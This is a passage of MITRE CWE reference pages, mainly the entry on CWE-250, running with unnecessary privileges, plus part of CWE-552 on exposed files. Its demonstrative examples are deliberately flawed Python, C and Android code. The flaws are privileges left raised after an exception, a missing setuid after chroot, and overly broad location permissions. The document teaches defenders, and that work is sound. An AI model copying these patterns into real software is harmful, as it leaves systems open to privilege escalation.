[REF-332] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". <https://www.cgisecurity.com/csrf-faq.html>. URL validated: 2023-04-07.
[REF-333] "Cross-site request forgery". Wikipedia. 2008-12-22. <https://en.wikipedia.org/wiki/Cross-site_request_forgery>. URL validated: 2023-04-07.
[REF-334] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>.
[REF-335] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. <https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-20 Tom Stracener
Added demonstrative example for profile.
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-12-28 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Description
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated References, Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationship_Notes, Research_Gaps
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships, Theoretical_Notes
2020-08-20 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships

CWE-250: Execution with Unnecessary Privileges

Weakness ID: 250
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
+ Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Read Application Data; DoS: Crash, Exit, or Restart

An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Separation of Privilege

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 265 Privilege Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1015 Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Installation
Architecture and Design

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.


Example 2

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

(bad code)
Example Language:
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.


Example 3

This application intends to use a user's location to determine the timezone the user is in:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.


Example 4

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.


+ Observed Examples
Reference Description
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Program does not drop privileges before calling another program, allowing code execution.
setuid root program allows creation of arbitrary files through command line argument.
Installation script installs some programs as setuid when they shouldn't be.
mail program runs as root but does not drop its privileges before attempting to access a file. Attacker can use a symlink from their home directory to a directory only readable by root, then determine whether the file exists based on the response.
Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note: Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Compare binary / bytecode to application permission manifest
Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 227 7PK - API Abuse
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 858 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 901 SFP Primary Cluster: Privilege
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Often Misused: Privilege Management
The CERT Oracle Secure Coding Standard for Java (2011) SER09-J Minimize privileges before deserializing from a privilege context
ISA/IEC 62443 Part 2-4 Req SP.03.05 BR
ISA/IEC 62443 Part 2-4 Req SP.03.08 BR
ISA/IEC 62443 Part 2-4 Req SP.03.08 RE(1)
ISA/IEC 62443 Part 2-4 Req SP.05.07 BR
ISA/IEC 62443 Part 2-4 Req SP.09.02 RE(4)
ISA/IEC 62443 Part 2-4 Req SP.09.03 BR
ISA/IEC 62443 Part 2-4 Req SP.09.04 BR
ISA/IEC 62443 Part 3-3 Req SR 1.1
ISA/IEC 62443 Part 3-3 Req SR 1.2
ISA/IEC 62443 Part 3-3 Req SR 2.1
ISA/IEC 62443 Part 3-3 Req SR 2.1 RE 1
ISA/IEC 62443 Part 4-1 Req SD-4
ISA/IEC 62443 Part 4-2 Req CCSC 3
ISA/IEC 62443 Part 4-2 Req CR 1.1
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-199] NIST. "United States Government Configuration Baseline (USGCB)". <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline>. URL validated: 2023-03-28.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Privilege Vulnerabilities", Page 477. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution Date Contributor Organization
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2008-09-08 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Description, Maintenance_Notes
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations, References
2010-06-21 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated Applicable_Platforms
2014-02-18 CWE Content Team MITRE
updated Demonstrative_Examples
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References, Relationships, Type
2022-04-28 CWE Content Team MITRE
updated Observed_Examples
2022-10-13 CWE Content Team MITRE
updated References
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-01-30 Often Misused: Privilege Management
2009-01-12 Design Principle Violation: Failure to Use Least Privilege

CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product makes files or directories accessible to unauthorized actors, even though they should not be.
+ Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Potential Mitigations

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 219 Storage of File with Sensitive Data Under Web Root
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 220 Storage of File With Sensitive Data Under FTP Root
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 527 Exposure of Version-Control Repository to an Unauthorized Control Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 528 Exposure of Core Dump File to an Unauthorized Control Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 529 Exposure of Access Control List Files to an Unauthorized Control Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 530 Exposure of Backup File to an Unauthorized Control Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 539 Use of Persistent Cookies Containing Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 553 Command Shell in Externally Accessible Directory
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1212 Authorization Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
